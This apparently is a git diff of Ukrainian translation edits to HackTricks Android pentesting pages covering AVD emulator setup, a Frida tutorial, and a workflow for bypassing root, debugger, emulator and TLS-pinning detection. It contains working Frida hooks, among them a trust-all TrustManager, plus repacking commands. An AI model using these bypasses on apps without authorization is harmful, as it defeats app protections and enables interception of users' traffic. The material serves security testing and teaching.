[_PEiD_](https://www.aldeid.com/wiki/PEiD) для Android. +APKiD gives you information about **how an APK was made**. It identifies many **compilers**, **packers**, **obfuscators**, and other weird stuff. It's [_PEiD_](https://www.aldeid.com/wiki/PEiD) for Android. ### Manual @@ -808,12 +810,12 @@ APKiD дає інформацію про **how an APK was made**. Він іде ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b — це віртуальна машина для Android security на базі ubuntu-mate, яка включає збірку останніх фреймворків, туторіалів і лабораторій від різних ентузіастів і дослідників для reverse engineering та malware analysis. +AndroL4b is an Android security virtual machine based on ubuntu-mate includes the collection of latest framework, tutorials and labs from different security geeks and researchers for reverse engineering and malware analysis. ## References - [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/) -- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Це відмінний список ресурсів +- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) Це чудовий список ресурсів - [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/) - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh) diff --git a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md index 84471fba6..ea1f7aa83 100644 --- a/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md +++ b/src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md @@ -2,9 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -This page provides a practical workflow to regain dynamic analysis against Android apps that detect/root‑block instrumentation or enforce TLS pinning. It focuses on fast triage, common detections, and copy‑pasteable hooks/tactics to bypass them without repacking when possible. +Ця сторінка надає практичний робочий процес для відновлення динамічного аналізу проти Android-додатків, які виявляють/блокують instrumentation через root або застосовують TLS pinning. Вона фокусується на швидкій триажі, типових виявленнях та copy‑pasteable hooks/tactics для їх обходу без репакування, коли це можливо. -## Detection Surface (what apps check) +## Область виявлення (що перевіряють додатки) - Root checks: su binary, Magisk paths, getprop values, common root packages - Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs @@ -14,18 +14,18 @@ This page provides a practical workflow to regain dynamic analysis against Andro ## Step 1 — Quick win: hide root with Magisk DenyList -- Enable Zygisk in Magisk -- Enable DenyList, add the target package -- Reboot and retest +- Увімкніть Zygisk у Magisk +- Увімкніть DenyList, додайте цільовий пакет +- Перезавантажте та протестуйте знову -Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks. +Багато додатків шукають лише очевидні індикатори (su/Magisk paths/getprop). DenyList часто нейтралізує наївні перевірки. References: - Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk ## Step 2 — 30‑second Frida Codeshare tests -Try common drop‑in scripts before deep diving: +Спробуйте поширені drop‑in скрипти перед глибоким зануренням: - anti-root-bypass.js - anti-frida-detection.js @@ -35,13 +35,13 @@ Example: ```bash frida -U -f com.example.app -l anti-frida-detection.js ``` -Вони зазвичай підміняють Java root/debug перевірки, сканування процесів/сервісів та native ptrace(). Корисно для слабо захищених додатків; для жорстко захищених цілей можуть знадобитися індивідуальні hooks. +Ці зазвичай підмінюють Java root/debug checks, process/service scans і native ptrace(). Корисні для слабко захищених додатків; для загартованих цілей можуть знадобитися спеціалізовані hooks. - Codeshare: https://codeshare.frida.re/ ## Автоматизація з Medusa (Frida framework) -Medusa надає понад 90 готових модулів для SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception, та ін. +Medusa надає понад 90 готових модулів для SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception та іншого. ```bash git clone https://github.com/Ch0pin/medusa cd medusa @@ -54,40 +54,40 @@ use http_communications/multiple_unpinner use root_detection/universal_root_detection_bypass run com.target.app ``` -Порада: Medusa чудово підходить для швидких перемог перед написанням custom hooks. Ви також можете cherry-pick modules і комбінувати їх зі своїми власними scripts. +Порада: Medusa чудово підходить для швидких перемог перед написанням custom hooks. Ви також можете вибірково підбирати модулі та комбінувати їх зі своїми скриптами. -## Крок 3 — Обійти детектори часу ініціалізації, приєднавшись пізніше +## Крок 3 — Обійти детектори під час ініціалізації, підключившись пізніше -Багато детекцій запускаються лише під час process spawn/onCreate(). Spawn‑time injection (-f) або gadgets потрапляють у виявлення; приєднання після завантаження UI може уникнути виявлення. +Багато детекцій запускаються лише під час spawn/onCreate(). Spawn‑time injection (-f) або gadgets виявляються; підключення після завантаження UI може їх обійти. ```bash # Launch the app normally (launcher/adb), wait for UI, then attach frida -U -n com.example.app # Or with Objection to attach to running process aobjection --gadget com.example.app explore # if using gadget ``` -Якщо це спрацює, утримуйте сесію стабільною та переходьте до картування і перевірок stub. +Якщо це спрацює, утримуйте сесію стабільною та переходьте до мапінгу й перевірки stub-ів. -## Крок 4 — Картування логіки виявлення через Jadx та пошук рядків +## Крок 4 — Проаналізуйте логіку виявлення через Jadx і пошук рядків -Статичні ключові слова для тріажу в Jadx: +Ключові слова для статичного триажу в Jadx: - "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger" -Типові Java-патерни: +Типові шаблони Java: ```java public boolean isFridaDetected() { return getRunningServices().contains("frida"); } ``` -Поширені API для перегляду/hook: +Поширені API для перевірки/hook: - android.os.Debug.isDebuggerConnected - android.app.ActivityManager.getRunningAppProcesses / getRunningServices -- java.lang.System.loadLibrary / System.load (нативний міст) -- java.lang.Runtime.exec / ProcessBuilder (перевірочні команди) -- android.os.SystemProperties.get (евристики root/emulator) +- java.lang.System.loadLibrary / System.load (native bridge) +- java.lang.Runtime.exec / ProcessBuilder (probing commands) +- android.os.SystemProperties.get (root/emulator heuristics) -## Крок 5 — Runtime stubbing з Frida (Java) +## Крок 5 — Runtime stubbing with Frida (Java) -Перевизначте кастомні guards, щоб повертати безпечні значення без repacking: +Перевизначте custom guards, щоб повертати безпечні значення без repacking: ```js Java.perform(() => { const Checks = Java.use('com.example.security.Checks'); @@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager'); AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); }; }); ``` -Робите триаж ранніх збоїв? Dump classes безпосередньо перед падінням, щоб виявити ймовірні detection namespaces: +Розбираєтеся з ранніми crashes? Dump classes безпосередньо перед падінням, щоб виявити ймовірні detection namespaces: ```js Java.perform(() => { Java.enumerateLoadedClasses({ @@ -119,7 +119,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; }; } catch (e) {} }); -Залогувати та нейтралізувати підозрілі методи, щоб підтвердити хід виконання: +Логувати та нейтралізувати підозрілі методи, щоб підтвердити потік виконання: ```js Java.perform(() => { const Det = Java.use('com.example.security.DetectionManager'); @@ -129,9 +129,9 @@ return false; }; }); ``` -## Обхід emulator/VM detection (Java stubs) +## Bypass emulator/VM detection (Java stubs) -Типові евристики: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE containing generic/goldfish/ranchu/sdk; QEMU artifacts like /dev/qemu_pipe, /dev/socket/qemud; default MAC 02:00:00:00:00:00; 10.0.2.x NAT; missing telephony/sensors. +Звичайні евристики: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE, що містять generic/goldfish/ranchu/sdk; QEMU артефакти, такі як /dev/qemu_pipe, /dev/socket/qemud; стандартна MAC 02:00:00:00:00:00; 10.0.2.x NAT; відсутність telephony/sensors. Швидка підміна полів Build: ```js @@ -143,11 +143,11 @@ Build.BRAND.value = 'google'; Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys'; }); ``` -Доповніть заготовками (stubs) перевірки існування файлів та ідентифікаторів (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), щоб повертати реалістичні значення. +Доповніть заглушками для перевірок наявності файлів та ідентифікаторів (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList), щоб вони повертали реалістичні значення. ## SSL pinning bypass quick hook (Java) -Нейтралізуйте кастомні TrustManagers та примусово встановіть дозволяючі SSL contexts: +Нейтралізуйте кастомні TrustManagers і примусово встановіть permissive SSL contexts: ```js Java.perform(function(){ var X509TrustManager = Java.use('javax.net.ssl.X509TrustManager'); @@ -165,17 +165,17 @@ return SSLContextInit.call(this, km, TrustManagers, sr); }; }); ``` -Примітки -- Розширте для OkHttp: hook okhttp3.CertificatePinner і HostnameVerifier за потреби, або використайте universal unpinning script з CodeShare. +Notes +- Розширити для OkHttp: hook okhttp3.CertificatePinner and HostnameVerifier за потреби, або використати universal unpinning script з CodeShare. - Приклад запуску: `frida -U -f com.target.app -l ssl-bypass.js --no-pause` -## Step 6 — Слідуйте JNI/native слідом, коли Java hooks не спрацьовують +## Step 6 — Слідуйте за JNI/native слідом, коли Java hooks не спрацьовують -Прослідкуйте точки входу JNI, щоб знайти native loaders та detection init: +Прослідкуйте JNI entry points, щоб знайти native loaders і detection init: ```bash frida-trace -n com.example.app -i "JNI_OnLoad" ``` -Швидка первинна перевірка упакованих .so файлів: +Швидка нативна первинна перевірка включених .so файлів: ```bash # List exported symbols & JNI nm -D libfoo.so | head @@ -200,30 +200,30 @@ return -1; // pretend failure reversing-native-libraries.md {{#endref}} -## Крок 7 — Objection patching (embed gadget / strip basics) +## Крок 7 — Objection патчування (embed gadget / strip basics) -Якщо ви віддаєте перевагу repacking над runtime hooks, спробуйте: +Коли ви віддаєте перевагу repacking замість runtime hooks, спробуйте: ```bash objection patchapk --source app.apk ``` Примітки: -- Requires apktool; ensure a current version from the official guide to avoid build issues: https://apktool.org/docs/install -- Gadget injection enables instrumentation without root but can still be caught by stronger init‑time checks. +- Потребує apktool; переконайтеся, що у вас актуальна версія згідно з офіційним посібником, щоб уникнути проблем зі збіркою: https://apktool.org/docs/install +- Gadget injection дозволяє instrumentation без root, але все ще може бути виявлено сильнішими init‑time checks. -Опційно додайте модулі LSPosed та Shamiko для кращого приховування root у середовищах Zygisk, а також відредагуйте DenyList, щоб покрити дочірні процеси. +За бажанням, додайте LSPosed modules і Shamiko для сильнішого приховування root у Zygisk середовищах та налаштуйте DenyList, щоб охопити дочірні процеси. Посилання: - Objection: https://github.com/sensepost/objection -## Step 8 — Запасний варіант: Патч TLS pinning для мережевої видимості +## Крок 8 — Запасний варіант: Патч TLS pinning для видимості мережевого трафіку -Якщо instrumentation заблоковано, ви все одно можете інспектувати трафік, видаливши pinning статично: +Якщо instrumentation заблоковано, ви все ще можете переглянути трафік, статично видаливши pinning: ```bash apk-mitm app.apk # Then install the patched APK and proxy via Burp/mitmproxy ``` - Інструмент: https://github.com/shroudedcode/apk-mitm -- Для хитрощів з конфігурацією мережі й CA‑trust (та user CA trust в Android 7+), див.: +- Для трюків з налаштування мережі CA‑trust (та довіри користувацьких CA в Android 7+), див.: {{#ref}} make-apk-accept-ca-certificate.md @@ -233,7 +233,7 @@ make-apk-accept-ca-certificate.md install-burp-certificate.md {{#endref}} -## Корисна шпаргалка команд +## Зручна шпаргалка команд ```bash # List processes and attach frida-ps -Uai @@ -253,10 +253,10 @@ apk-mitm app.apk ``` ## Поради та застереження -- Краще виконувати attaching пізніше, ніж spawning, якщо додатки падають під час запуску -- Деякі механізми виявлення повторно запускаються в критичних потоках (наприклад, payment, auth) — тримайте hooks активними під час навігації -- Комбінуйте static та dynamic: string hunt у Jadx, щоб скоротити список класів; потім hook methods для перевірки під час runtime -- Hardened apps можуть використовувати packers та native TLS pinning — очікуйте реверсу native code +- Краще виконувати attaching пізніше, ніж spawning, коли додатки падають при запуску +- Деякі детекції повторно запускаються у критичних потоках (наприклад, payment, auth) — тримайте hooks активними під час навігації +- Поєднуйте static та dynamic: пошук рядків у Jadx, щоб звузити список classes; потім hook methods для перевірки під час runtime +- Захищені додатки можуть використовувати packers та native TLS pinning — очікуйте необхідності реверсу native code ## References diff --git a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md index 8c72aa722..d80e52203 100644 --- a/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md +++ b/src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md @@ -2,25 +2,25 @@ {{#include ../../banners/hacktricks-training.md}} -Щиро дякую [**@offsecjay**](https://twitter.com/offsecjay) за допомогу при створенні цього контенту. +Велика подяка [**@offsecjay**](https://twitter.com/offsecjay) за допомогу під час створення цього матеріалу. ## Що таке -Android Studio дозволяє **запускати віртуальні машини Android, які ви можете використовувати для тестування APK**. Щоб ними користуватися, вам знадобиться: +Android Studio дозволяє **запускати віртуальні машини Android, які можна використовувати для тестування APK**. Щоб ними користуватися, вам знадобиться: - The **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools). -- Або **Android Studio** (з Android SDK tools) - [Download here](https://developer.android.com/studio). +- Or **Android Studio** (with Android SDK tools) - [Download here](https://developer.android.com/studio). -У Windows (в моєму випадку) **після встановлення Android Studio** у мене **SDK Tools були встановлені в**: `C:\Users\\AppData\Local\Android\Sdk\tools` +У Windows (в моєму випадку) **після встановлення Android Studio** у мене **SDK Tools були встановлені у**: `C:\Users\\AppData\Local\Android\Sdk\tools` -У mac ви можете **завантажити SDK tools** і додати їх у PATH, виконавши: +На mac ви можете **завантажити SDK tools** і додати їх у PATH, виконавши: ```bash brew tap homebrew/cask brew install --cask android-sdk ``` -Або через **Android Studio GUI** як зазначено в [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), інструменти будуть встановлені в `~/Library/Android/sdk/cmdline-tools/latest/bin/` і `~/Library/Android/sdk/platform-tools/` і `~/Library/Android/sdk/emulator/` +Або з **Android Studio GUI**, як вказано в [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a), що встановить їх у `~/Library/Android/sdk/cmdline-tools/latest/bin/` і `~/Library/Android/sdk/platform-tools/` і `~/Library/Android/sdk/emulator/` -Для проблем із Java: +Для проблем з Java: ```java export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ``` @@ -28,7 +28,7 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home ### Prepare Virtual Machine -Якщо ви встановили Android Studio, просто відкрийте головний вигляд проекту та перейдіть: _**Tools**_ --> _**AVD Manager.**_ +Якщо ви встановили Android Studio, ви можете просто відкрити головний перегляд проекту й перейти: _**Tools**_ --> _**AVD Manager.**_
@@ -40,34 +40,34 @@ export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
-_**виберіть** телефон, який ви хочете використовувати_ та натисніть _**Next.**_ +_**select** телефон, який ви хочете використовувати,_ і натисніть _**Next.**_ > [!WARNING] -> Якщо вам потрібен телефон із встановленим Play Store — оберіть пристрій з іконкою Play Store! +> Якщо вам потрібен телефон з встановленим Play Store, оберіть модель з іконкою Play Store! > > -У поточному вікні ви зможете **вибрати та завантажити образ Android**, який буде запускатися на телефоні: +У цьому вікні ви зможете **select and download the Android image**, який буде запускатися на телефоні:
-Отже, оберіть його, і якщо він не завантажений — натисніть на символ _**Download**_ поруч із назвою (тепер почекайте, поки образ не завантажиться).\ -Після завантаження просто оберіть **`Next`** та **`Finish`**. +Отже, оберіть його, і якщо він не завантажений — натисніть на _**Download**_ символ поруч із назвою (**тепер зачекайте, поки образ буде завантажено).**\ +Після завантаження образу просто виберіть **`Next`** та **`Finish`**. -Віртуальна машина буде створена. Тепер **кожного разу, коли ви відкриватимете AVD Manager, вона буде доступна**. +Віртуальна машина буде створена. Тепер **кожного разу, коли ви відкриватимете AVD Manager, вона буде присутня**. ### Run Virtual Machine -Щоб **запустити** її, просто натисніть _**Start button**_. +Щоб її **запустити**, просто натисніть _**Start button**_. ![](<../../images/image (518).png>) ## Command Line tool > [!WARNING] -> Для macOS ви можете знайти інструмент `avdmanager` у `/Users//Library/Android/sdk/tools/bin/avdmanager` та `emulator` у `/Users//Library/Android/sdk/emulator/emulator`, якщо вони встановлені. +> For macOS you can find the `avdmanager` tool in `/Users//Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users//Library/Android/sdk/emulator/emulator` if you have them installed. -Спочатку потрібно **вирішити, який телефон ви хочете використовувати** — щоб побачити список доступних телефонів виконайте: +Перш за все вам потрібно вирішити, який телефон ви хочете використовувати; щоб побачити список можливих телефонів, виконайте: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device @@ -95,16 +95,16 @@ Name: Nexus 10 OEM : Google [...] ``` -Після того, як ви визначите назву пристрою, який хочете використовувати, потрібно **вирішити, який образ Android ви хочете запускати на цьому пристрої.**\ +Після того, як ви оберете ім'я пристрою, який хочете використовувати, вам потрібно **вирішити, який образ Android ви хочете запустити на цьому пристрої.**\ Ви можете перелічити всі варіанти за допомогою `sdkmanager`: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list ``` -І **завантажте** той (або всі), які ви хочете використовувати разом із: +І **download** той (або всі), які ви хочете використовувати з: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64" ``` -Після того як ви завантажили Android image, який хочете використовувати, ви можете **перелічити всі завантажені Android images** за допомогою: +Після того, як ви завантажили Android image, який хочете використовувати, ви можете **list all the downloaded Android images** за допомогою: ``` C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target ---------- @@ -120,11 +120,11 @@ Type: Platform API level: 29 Revision: 4 ``` -На цьому етапі ви визначилися з пристроєм, який хочете використовувати, і завантажили Android-образ, тож **ви можете створити віртуальну машину, використовуючи**: +Наразі ви визначилися з пристроєм, який хочете використовувати, і завантажили Android image, тому **ви можете створити віртуальну машину, використовуючи**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X" ``` -У останній команді **я створив VM з ім'ям** "_AVD9_" використавши **пристрій** "_Nexus 5X_" та **Android image** "_system-images;android-28;google_apis;x86_64_".\ +У останній команді **було створено VM з ім'ям** "_AVD9_" з використанням **пристрою** "_Nexus 5X_" та **Android image** "_system-images;android-28;google_apis;x86_64_".\ Тепер ви можете **перелічити віртуальні машини** які ви створили за допомогою: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd @@ -143,15 +143,15 @@ Error: Google pixel_2 no longer exists as a device ### Запуск віртуальної машини > [!WARNING] -> Для macOS ви можете знайти інструмент `avdmanager` у `/Users//Library/Android/sdk/tools/bin/avdmanager` та `emulator` у `/Users//Library/Android/sdk/emulator/emulator`, якщо вони встановлені. +> Для macOS ви можете знайти інструмент `avdmanager` за шляхом `/Users//Library/Android/sdk/tools/bin/avdmanager` та `emulator` за шляхом `/Users//Library/Android/sdk/emulator/emulator`, якщо вони встановлені. -Ми вже бачили, як можна перелічити створені віртуальні машини, але **також їх можна перелічити за допомогою**: +Ми вже бачили, як перелічити створені віртуальні машини, але **ви також можете їх перерахувати, використовуючи**: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds AVD9 Pixel_2_API_27 ``` -Ви можете просто **запустити будь-яку створену віртуальну машину** за допомогою: +Ви можете просто **run any virtual machine created** за допомогою: ```bash C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName" C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" @@ -162,33 +162,33 @@ C:\Users\\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -ht ``` ### Параметри командного рядка -Однак існує **a lot of different command line useful options**, які ви можете використовувати для запуску віртуальної машини. Нижче наведені деякі цікаві опції, проте ви можете [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) +Однак існує **безліч корисних опцій командного рядка**, які можна використовувати для запуску віртуальної машини. Нижче наведено кілька цікавих опцій, але повний список можна [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline) -**Boot** +**Завантаження** -- `-snapshot name` : Запустити snapshot віртуальної машини -- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Перелічити всі записані snapshots +- `-snapshot name` : Запустити snapshot VM +- `-snapshot-list -snapstorage ~/.android/avd/Nexus_5X_API_23.avd/snapshots-test.img` : Перелік усіх записаних snapshots -**Network** +**Мережа** -- `-dns-server 192.0.2.0, 192.0.2.255` : Дозволяє вказати через кому DNS-сервери для VM. +- `-dns-server 192.0.2.0, 192.0.2.255` : Дозволяє вказати через кому DNS-сервери для віртуальної машини. - **`-http-proxy 192.168.1.12:8080`** : Дозволяє вказати HTTP-проксі для використання (дуже корисно для перехоплення трафіку за допомогою Burp) -- Якщо налаштування проксі з якоїсь причини не працюють, спробуйте налаштувати їх всередині системи або використовуючи додаток на кшталт "Super Proxy" або "ProxyDroid". -- `-netdelay 200` : Встановлює емуляцію затримки мережі в мілісекундах. -- `-port 5556` : Встановлює TCP-порт, який використовується для консолі і adb. -- `-ports 5556,5559` : Встановлює TCP-порти, які використовуються для консолі і adb. -- **`-tcpdump /path/dumpfile.cap`** : Записує весь трафік у файл +- If the proxy settings aren't working for some reason, try to configure them internally or using an pplication like "Super Proxy" or "ProxyDroid". +- `-netdelay 200` : Встановити емуляцію затримки мережі в мілісекундах. +- `-port 5556` : Встановити TCP-порт, який використовується для консолі та adb. +- `-ports 5556,5559` : Встановити TCP-порти, які використовуються для консолі та adb. +- **`-tcpdump /path/dumpfile.cap`** : Захопити весь трафік у файл -**System** +**Система** -- `-selinux {disabled|permissive}` : Встановлює модуль безпеки Security-Enhanced Linux у режим disabled або permissive на ОС Linux. +- `-selinux {disabled|permissive}` : Встановити модуль Security-Enhanced Linux (SELinux) у режим disabled або permissive на операційній системі Linux. - `-timezone Europe/Paris` : Встановити часовий пояс для віртуального пристрою - `-screen {touch(default)|multi-touch|o-touch}` : Встановити режим емуляції сенсорного екрану. -- **`-writable-system`** : Використайте цю опцію, щоб зробити системний образ змінним під час сесії емуляції. Також потрібно виконати `adb root; adb remount`. Це дуже корисно для встановлення нового сертифіката в систему. +- **`-writable-system`** : Використовуйте цю опцію, щоб мати записуваний системний образ під час сеансу емуляції. Також потрібно виконати `adb root; adb remount`. Це дуже корисно для встановлення нового сертифікату в системі. -## Linux CLI setup (SDK/AVD quickstart) +## Налаштування CLI для Linux (SDK/AVD quickstart) -Офіційні CLI-інструменти полегшують створення швидких, налагоджуваних емуляторів без Android Studio. +Офіційні інструменти CLI полегшують створення швидких, зручних для дебагу емулаторів без Android Studio. ```bash # Directory layout mkdir -p ~/Android/cmdline-tools/latest @@ -217,9 +217,9 @@ adb root adb shell whoami # expect: root ``` Примітки -- Варіанти образів системи: google_apis (debuggable, allows adb root), google_apis_playstore (not rootable), aosp/default (lightweight). -- Типи збірок: userdebug часто дозволяє `adb root` на образах з підтримкою debug. Play Store images — це production збірки і блокують root. -- На хостах x86_64 повноцінна емуляція ARM64 на рівні системи не підтримується починаючи з API 28+. Для Android 11+ використовуйте Google APIs/Play образи, що включають переклад ARM->x86 для окремих додатків, щоб швидко запускати багато ARM-only apps. +- Варіанти системних образів: google_apis (дозволяє налагодження, дозволяє adb root), google_apis_playstore (не rootable), aosp/default (легкий). +- Типи збірок: userdebug часто дозволяє `adb root` на образах з підтримкою налагодження. Play Store images — це production-збірки і блокують root. +- На хостах x86_64 повноцінна емуляція ARM64 не підтримується з API 28+. Для Android 11+ використовуйте Google APIs/Play images, які включають per-app ARM-to-x86 translation, щоб швидко запускати багато ARM-only apps. ### Знімки з CLI ```bash @@ -229,24 +229,24 @@ adb -s emulator-5554 emu avd snapshot save my_clean_setup # Boot from a named snapshot (if it exists) emulator -avd PixelRootX86 -writable-system -snapshot my_clean_setup ``` -## ARM→x86 бінарна трансляція (Android 11+) +## ARM→x86 бінарний переклад (Android 11+) -Google APIs і Play Store images на Android 11+ можуть транслювати ARM app binaries на рівні процесу, залишаючи решту системи рідною x86/x86_64. Це зазвичай достатньо для тестування багатьох ARM-only apps на настільному комп'ютері. +Google APIs and Play Store images on Android 11+ can translate ARM app binaries per process while keeping the rest of the system native x86/x86_64. Це часто достатньо швидко, щоб тестувати багато ARM-only додатків на десктопі. -> Порада: Віддавайте перевагу Google APIs x86/x86_64 images під час pentests. Play images зручні, але блокують `adb root`; використовуйте їх тільки коли вам конкретно потрібні Play services і ви погоджуєтесь на відсутність root. +> Порада: Prefer Google APIs x86/x86_64 images during pentests. Play images are convenient but block `adb root`; use them only when you specifically require Play services and accept the lack of root. -## Отримання root на пристрої з Play Store +## Rooting a Play Store device -Якщо ви завантажили пристрій з Play Store, ви не зможете безпосередньо отримати root, і отримаєте це повідомлення про помилку +Якщо ви завантажили пристрій з Play Store, ви не зможете отримати root безпосередньо, і отримаєте це повідомлення про помилку ``` $ adb root adbd cannot run as root in production builds ``` -Використовуючи [rootAVD](https://github.com/newbit1/rootAVD) з [Magisk](https://github.com/topjohnwu/Magisk) мені вдалося отримати root (наприклад, див. [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) або [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). +За допомогою [rootAVD](https://github.com/newbit1/rootAVD) та [Magisk](https://github.com/topjohnwu/Magisk) мені вдалося отримати root (наприклад, дивіться [**this video**](https://www.youtube.com/watch?v=Wk0ixxmkzAI) або [**this one**](https://www.youtube.com/watch?v=qQicUW0svB8)). -## Встановлення сертифіката Burp +## Встановлення сертифікату Burp -Перегляньте наступну сторінку, щоб дізнатися, як встановити кастомний CA cert: +Перегляньте наступну сторінку, щоб дізнатися, як встановити власний сертифікат CA: {{#ref}} @@ -255,9 +255,9 @@ install-burp-certificate.md ## Корисні опції AVD -### Зробити Snapshot +### Зробити знімок -Ви можете **використовувати GUI**, щоб у будь-який момент зробити snapshot VM: +Ви можете **використати GUI**, щоб у будь-який момент зробити знімок VM: ![](<../../images/image (234).png>) diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index d5ca9dbfa..f3231c94b 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -1,4 +1,4 @@ -# Frida Посібник +# Frida Підручник {{#include ../../../banners/hacktricks-training.md}} @@ -11,21 +11,21 @@ pip install frida-tools pip install frida ``` **Завантажте та встановіть** на Android **frida server** ([Download the latest release](https://github.com/frida/frida/releases)).\ -Однорядкова команда, щоб перезапустити adb у режимі root, підключитися до нього, завантажити frida-server, встановити права виконання та запустити його у фоновому режимі: +Однорядкова команда, щоб перезапустити adb в режимі root, підключитися до нього, завантажити frida-server, надати права виконання і запустити його у фоновому режимі: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` -**Перевірте**, чи це **працює**: +**Перевірте** чи це **працює**: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` -## Frida server проти Gadget (root проти no-root) +## Frida server vs. Gadget (root vs. no-root) -Два поширені способи інструментувати Android-додатки за допомогою Frida: +Два поширені способи інструментування Android-додатків за допомогою Frida: -- Frida server (rooted devices): Push і запустіть native daemon, який дозволяє підключитися до будь-якого процесу. -- Frida Gadget (no root): Вбудуйте Frida як shared library всередині APK і автозавантажуйте її в цільовий процес. +- Frida server (rooted devices): Завантажити і запустити нативний демон, який дозволяє приєднатися до будь-якого процесу. +- Frida Gadget (no root): Вбудувати Frida як shared library всередині APK і автоматично завантажити її в цільовому процесі. Frida server (rooted) ```bash @@ -42,9 +42,9 @@ frida -U -n com.example.app ``` Frida Gadget (no-root) -1) Розпакуйте APK, додайте gadget .so та config: +1) Розпакуйте APK, додайте gadget .so та конфіг: - Помістіть libfrida-gadget.so у lib// (наприклад, lib/arm64-v8a/) -- Створіть assets/frida-gadget.config з налаштуваннями завантаження ваших скриптів +- Створіть assets/frida-gadget.config з налаштуваннями завантаження скриптів Приклад frida-gadget.config ```json @@ -53,11 +53,10 @@ Frida Gadget (no-root) "runtime": { "logFile": "/sdcard/frida-gadget.log" } } ``` -2) Підключіть/завантажте gadget так, щоб він ініціалізувався на ранньому етапі: +2) Reference/load the gadget so it’s initialized early: +- Найпростіше: додати невелику Java-заглушку з викликом System.loadLibrary("frida-gadget") в Application.onCreate(), або використати вже наявне native lib loading. -- Найпростіше: Додайте невеликий Java-стаб, який викликає System.loadLibrary("frida-gadget") в Application.onCreate(), або використайте вже наявне завантаження нативної бібліотеки. - -3) Перепакуйте та підпишіть APK, потім встановіть: +3) Repack і підпишіть APK, потім встановіть: ```bash apktool d app.apk -o app_m # ... add gadget .so and config ... @@ -65,42 +64,42 @@ apktool b app_m -o app_gadget.apk uber-apk-signer -a app_gadget.apk -o out_signed adb install -r out_signed/app_gadget-aligned-debugSigned.apk ``` -4) Приєднатися з host до процесу gadget: +4) Підключитися з host до процесу gadget: ```bash frida-ps -Uai frida -U -n com.example.app ``` Примітки -- Gadget 